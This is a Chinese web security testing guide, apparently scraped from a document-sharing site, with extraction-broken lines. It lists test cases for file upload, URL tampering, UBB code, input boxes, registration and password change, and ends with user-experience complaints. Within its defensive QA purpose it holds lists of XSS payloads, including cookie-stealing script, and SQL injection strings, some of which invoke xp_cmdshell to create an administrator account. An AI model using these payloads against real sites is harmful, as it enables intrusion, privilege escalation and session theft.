WEB安全性测试测试用例基础文档格式.docx
- 文档编号:5129546
- 上传时间:2023-05-04
- 格式:DOCX
- 页数:17
- 大小:27.20KB
WEB安全性测试测试用例基础文档格式.docx
《WEB安全性测试测试用例基础文档格式.docx》由会员分享,可在线阅读,更多相关《WEB安全性测试测试用例基础文档格式.docx(17页珍藏版)》请在冰点文库上搜索。
上传过程中,中断。
程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
1.避免输入:
\..\web.
2.修改命名后缀。
关于URL:
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。
UBB:
[url=http:
//www.****.com]你的网站[/url]
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
3.输入编辑器中不存在的UBB代码,看是否起作用
[url=javascript:
alert('
hello'
)]链接[/url]
[email=javascript:
)]EMail[/email]
[email=yangtao@STYLE="
background-image:
url(javascript:
XSS'
))"
]yangtao@[/email]
[img]style="
url(javascript:
alert(xss)'
[/img]
[img]"
onmouseover=alert('
);
"
[bSTYLE="
]一首诗酸涩涩服务网[/b]
[iSTYLE="
]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微软雅黑"
STYLE="
]一二三四五六七北京市[/font]
[size=4"
]一二三四五六七北京市[/size]
[color=Red"
]一二三四五六七北京市[/color]
[align=center"
]一二三四五六七北京市[/align]
[float=left"
]一二三四五六七北京市[/float]
[font=微软雅黑STYLE="
[size=4STYLE="
[color=RedSTYLE="
[align=centerSTYLE="
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=leftSTYLE="
[media=ra,400,300,0]
1.输出编码
常用的测试输入语句有:
<
inputtype="
text"
/>
input/>
input/
script>
1.jpg"
onmouseover="
xss'
)
/a>
alert(‘xss’);
http:
//xxx'
;
var/a='
a
‘”>
xss&
a=”\”;
b=”;
alert(/xss/);
//”
imgsrc=“输出内容”border=“0”alt=“logo”/>
“’”
‘”’
“””
“““
“”“
“‘”
title=””
对输出数据到输出数据的对比,看是否出现问题。
2.防止SQL注入
Admin--
‘or--
‘and()execinsert*%chrmid
and1=1;
And1=1;
aNd1=1;
char(97)char(110)char(100)char(49)char(61)char(49);
%20AND%201=2
‘and1=1;
‘And1=1;
‘aNd1=1;
and1=2;
‘and1=2
and2=2
anduser>
and(selectcount(*)fromsysobjects)>
and(selectcount(*)frommsysobjects)>
and(SelectCount(*)fromAdmin)>
=0
and(selecttop1len(username)fromAdmin)>
0(username已知字段)
execmaster..xp_cmdshell“netusernamepassword/add”—
execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”—
and0<
(selectcount(*)fromadmin)
简单的如wherextype=’U’,字符U对应的ASCII码是85,所以可以用wherextype=char(85)代替;
如果字符是中文的,比如wherename=’用户’,可以用wherename=nchar(29992)+nchar(25143)代替。
3.跨站脚本攻击(XSS)
对于XSS,只需检查HTML输出并看看您输入的内容在什么地方。
它在一个HREF标记中吗?
是否在IFRAME标记中?
它在CLSID标记中吗?
在IMGSRC中吗?
某些Flash内容的PARAMNAME是怎样的?
★~!
./?
'
[]{}\-
★%3Cinput/%3E
★%3Cscript%3Ealert('
)%3C/script%3E
★<
)<
alert(‘xss’)<
★javascript:
alert(/xss/)
★javascrip&
#116&
#58alert(/xss/)
imgsrc="
#"
onerror=alert(/xss/)>
style="
Xss:
expression(alert(/xss/));
/**/onerror=alert(/xss/)width=100>
★=’>
alert(document.cookie)<
★1.jpg"
★"
★http:
★’”>
★&
{alert('
}
★>
alert(‘XSS'
%22%27>
img%20src%3d%22javascript:
alert(%27XSS%27)%22>
★>
img%20src%3D%26%23x6a;
%26%23x61;
%26%23x76;
%26%23x73;
%26%23x63;
%26%23x72;
%26%23x69;
%26%23x70;
%26%23x74;
%26%23x3a;
alert(%26quot;
XSS%26quot;
)>
★AK%22%20style%3D%22background:
alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<
tablebackground="
javascript:
alert(([code])"
/table>
objecttype=text/htmldata="
alert(([code]);
/object>
bodyonload="
/body>
★a?
alert(’Vulnerable’)<
!
--'
&
varfrom=‘$!
rundata.Parameters.getString(’from’)'
varfrom=”;
hackerFunction(document.cookie);
”;
4.跨站请求伪造(CSRF)
同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。
当页面没有CHECKCODE时,查看页面源代码,查是是否有token。
如果页面完全是展示页面,是不会有token的。
一、用户注册
只从用户名和密码角度写了几个要考虑的测试点,如果需求中明确规定了安全问题,Email,出生日期,地址,性别等等一系列的格式和字符要求,那就都要写用例测了~
以等价类划分和边界值法来分析
1.填写符合要求的数据注册:
用户名字和密码都为最大长度(边界值分析,取上点)
2.填写符合要求的数据注册:
用户名字和密码都为最小长度(边界值分析,取上点)
3.填写符合要求的数据注册:
用户名字和密码都是非最大和最小长度的数据(边界值分析,取内点)
4.必填项分别为空注册
5.用户名长度大于要求注册1位(边界值分析,取离点)
6.用户名长度小于要求注册1位(边界值分析,取离点)
7.密码长度大于要求注册1位(边界值分析,取离点)
8.密码长度小于要求注册1位(边界值分析,取离点)
9.用户名是不符合要求的字符注册(这个可以划分几个无效的等价类,一般写一两个就行了,如含有空格,#等,看需求是否允许吧~)
10.密码是不符合要求的字符注册(这个可以划分几个无效的等价类,一般写一两个就行了)
11.两次输入密码不一致(如果注册时候要输入两次密码,那么这个是必须的)
12.重新注册存在的用户
13.改变存在的用户的用户名和密码的大小写,来注册。
(有的需求是区分大小写,有的不区分)
14.看是否支持tap和enter键等;
密码是否可以复制粘贴;
密码是否以*之类的加秘符号显示
备注:
边界值的上点、内点和离点大家应该都知道吧,呵呵,这里我就不细说了~~
二、修改密码
当然具体情况具体分析哈~不能一概而论~
实际测试中可能只用到其中几条而已,比如银行卡密码的修改,就不用考虑英文和非法字符,更不用考虑那些TAP之类的快捷键。
而有的需要根据需求具体分析了,比如连续出错多少次出现的提示,和一些软件修改密码要求一定时间内有一定的修改次数限制等等。
1.不输入旧密码,直接改密码
2.输入错误旧密码
3.不输入确认新密码
4.不输入新密码
5.新密码和确认新密码不一致
6.新密码中有空格
7.新密码为空
8.新密码为符合要求的最多字符
9.新密码为符合要求的最少字符
10.新密码为符合要求的非最多和最少字符
11.新密码为最多字符-1
12.新密码为最少字符+1
13.新密码为最多字符+1
14.新密码为最少字符-1
15.新密码为非允许字符(如有的密码要求必须是英文和数字组成,那么要试汉字和符号等)
16.看是否支持tap和enter键等;
密码是否以*之类的加秘符号
17.看密码是否区分大小写,新密码中英文小写,确认密码中英文大写
18.新密码与旧密码一样能否修改成功
另外一些其他的想法如下:
1要测试所有规约中约定可以输入的特殊字符,字母,和数字,要求都可以正常输入、显示正常和添加成功
2关注规约中的各种限制,比如长度,大否支持大小写。
3考虑各种特殊情况,比如添加同名用户,系统是否正确校验给出提示信息,管理员帐户是否可以删除,因为有些系统管理员拥有最大权限,一旦删除管理员帐户,就不能在前台添加,这给最终用户会带来很多麻烦。
比较特殊的是,当用户名中包括了特殊字符,那么对这类用户名的添加同名,修改,删除,系统是否能够正确实现,我就遇到了一个系统,添加同名用户时,如果以前的用户名没有特殊字符,系统可以给出提示信息,如果以前的用户名包含特殊字符,就不校验在插入数据库的时候报错。
后来查到原因了,原来是在java中拼SQL语句的时候,因为有"
_"
,所以就调用了一个方法在“_”,前面加了一个转义字符,后来发现不该调用这个方法。
所以去掉就好了。
所以对待输入框中的特殊字符要多关注。
4数值上的长度之类的,包括出错信息是否合理
5特殊字符:
比如。
/'
"
\<
这些是否会造成系统崩溃
6注入式bug:
比如密码输入个or1=1
7登录后是否会用明文传递参数
8访问控制(不知道这个算不算):
登录后保存里面的链接,关了浏览器直接复制链接看能不能访问。
输入框测试
1.验证输入与输出的是否信息一致;
2.输入框之前的标题是否正确;
3.对特殊字符的处理,尤其是输入信息徐需要发送到数据库的。
特殊字符包括:
(单引号)、"
(双引号)、[](中括号)、()(小括号)、{}(大括号)、;
(分号)、<
(大于小于号)……
4.对输入框输入超过限制的字符的处理,一般非特殊的没有作出限制的在255byte左右;
5.输入框本身的大小、长度;
6.不同内码的字符的输入;
7.对空格、TAB字符的处理机制;
8.字符本身显示的颜色;
9.密码输入窗口转换成星号或其它符号;
10.密码输入框对其中的信息进行加密,防止采用破解星号的方法破解;
11.按下ctrl和alt键对输入框的影响;
12.对于新增、修改、注册时用的输入框,有限制的,应该输入时作出提示,指出不允许的或者标出允许的;
13.对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变,比如选了湖南就应该列出湖南下面的市,或者选了某些条件之后,一些输入框会关闭或转为只读状态;
14.输入类型;
根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。
例如,是否允许输入数字或字母,不允许输入其他字符等。
15.输入长度;
数据库字段有长度定义,当输入过长时,提交数据是否会出错。
16.输入状态;
当处于某种状态下,输入框是否处于可写或非可写状态。
例如,系统自动给予的编号等栏位作为唯一标识,当再次处于编辑状态下,输入框栏位应处于不可写状态,如果可写对其编辑的话,可能会造成数据重复引起冲突等。
17.如果是会进行数据库操作的输入框,还可以考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现
18.输入类型
输入长度
是否允许复制粘贴
为空的情况
空格的考虑
半角全角测试
对于密码输入框要考虑显示的内容是*
输入错误时的提示信息及提示信息是否准确
19.可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色,然后了解其具体的输入条件,在将输入条件按照有效等价类,无效等价类,边界值等方法进行测试用例的设计。
20.关键字有大小写混合的情况;
21.关键字中含有一个或多个空格的情况,包括前空格,中间空格(多个关键字),和后空格;
22.关键字中是否支持通配符的情况(视功能而定);
23.关键字的长度分别为9、10、11个字符时的情况;
24.关键字是valid,但是没有匹配搜索结果的情况;
25.输入html的标签会出现哪些问题?
输入<
html>
会出现什么问题呢?
(这条是我自己发现的,在网上也没找到类似的东东,呵呵,大家凑合着看吧)
安全测试方面:
给出一些特别的关键字,比如or1=1,这样的关键字如果不被处理就直接用到数据库查询中去,后果可想而知。
用户体验相关
我登录失败的时候没有任何提示,这没什么,反正提示也只是说失败…
进去后发现颜色变更很强烈刺得我一眨眼,不过多看几次就习惯了。
点击某个链接的时候出现错误页面,刷新后就好了,难道是随机错误?
保存文字的时候没有成功提示,不过能成功保存就算了。
浏览记录的时候竟然出现错误页面,原来我没有选记录就浏览了,我自己操作不规范嘛。
删除记录的时候发现选错了,想取消的时候却提示删除成功,都没有确认提示,只能下次看仔细点了。
查询时字母键被茶杯压住了多输了点字符,竟然出现错误页面,下次把东西整理好。
无聊随便点点几个链接,竟然没有反应,既然不用,那就不要做出来嘛。
看看自己上传的图片效果如何,这个怎么不显示?
多试几次发现名字不包含中文就好了,下次注意下。
改改字体字号颜色美化环境嘛,怎么格式那里不显示正确的字体字号呢,将就用吧。
这里的记录条数怎么这么多啊?
原来是没有删除按钮,看来下次不能随便加了。
这个结束时间怎么在开始时间前啊?
原来没有进行控制,下面的人执行时……还是自己改过来吧。
上次我在这里看见的图片呢?
刷新后就出来了,怎么和我玩捉迷藏呢?
多输了点内容,保存时候提示太多了,点确定后发现被清空了,我一个小时的工作啊!
这张图片真不错,但是按钮呢,按钮呢?
按钮被挤掉了我怎么编辑啊。
听说F5是刷新点一下看看。
怎么好像变成了登录界面?
刚学了怎么用TAB键,确实很方便。
TAB一下。
跑哪去了,怎么一片空白啊?
?
玩游戏的人点击速度那么快,我也来试试。
怎么一双击就出错了?
我找错别字是很厉害的,这不就发现“同意”写成了“统一”。
这里提示只能输入1-100,我偏要输入9999……保存看看,怎么系统不能用了?
这里一点击就出现IE错误,硬是不弹出我需要的窗口。
这个查询按钮怎么灰掉了?
这么多记录让我一页一页翻过去找啊。
上传第二个附件的时候怎么把第一个挤掉了啊,会挤掉也要提示一下嘛。
一个页面上打开的记录太多了,变体都用…省略了,要是鼠标放上去浮动显示完整标题就方便多了。
这几条记录有依存关系,删了一条其他就没了,提示都没有,早知道我就用编辑了……
这条记录怎么好像是昨天的,我记得今天更新了啊?
原来编辑后的记录没有传到引用的地方。
最最奇怪的是昨天上传时候正常的图片今天就不能显示了。
我记得没有只能显示一天的功能啊?
这里怎么没有任何按钮呢,看手册才知道竟然要用右键进行操作,怎么突然冒出个异类啊?
这里怎么能增加两条相同的记录呢?
不控制一下天知道手下那些愣头青会做出什么来。
这里的菜单一层一层又一层,足足有五层,把我头都绕晕了……我记得哪里说过最好不要超过三层的。
这个界面看起来怎么这么别扭啊,是字体太大了,是按钮太小了,还是功能太多了,……
怎么不是管理员登录进来也能管理啊,那我这个管理员的身份不是多此一举吗?
删除的时候提示Error,幸亏我英语水平好,可是你换成中文不行吗?
这条记录不是删除了吗,怎么还能引用啊,到时候出错了怎么办,难道还要我记住删了那些记录?
经过精心编辑,我发了一条通知,怎么用普通用户查看的时候是默认的字体字号啊?
这几个页面上的当前日期怎么是固定不变的啊,这都是
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- WEB 安全性 测试 基础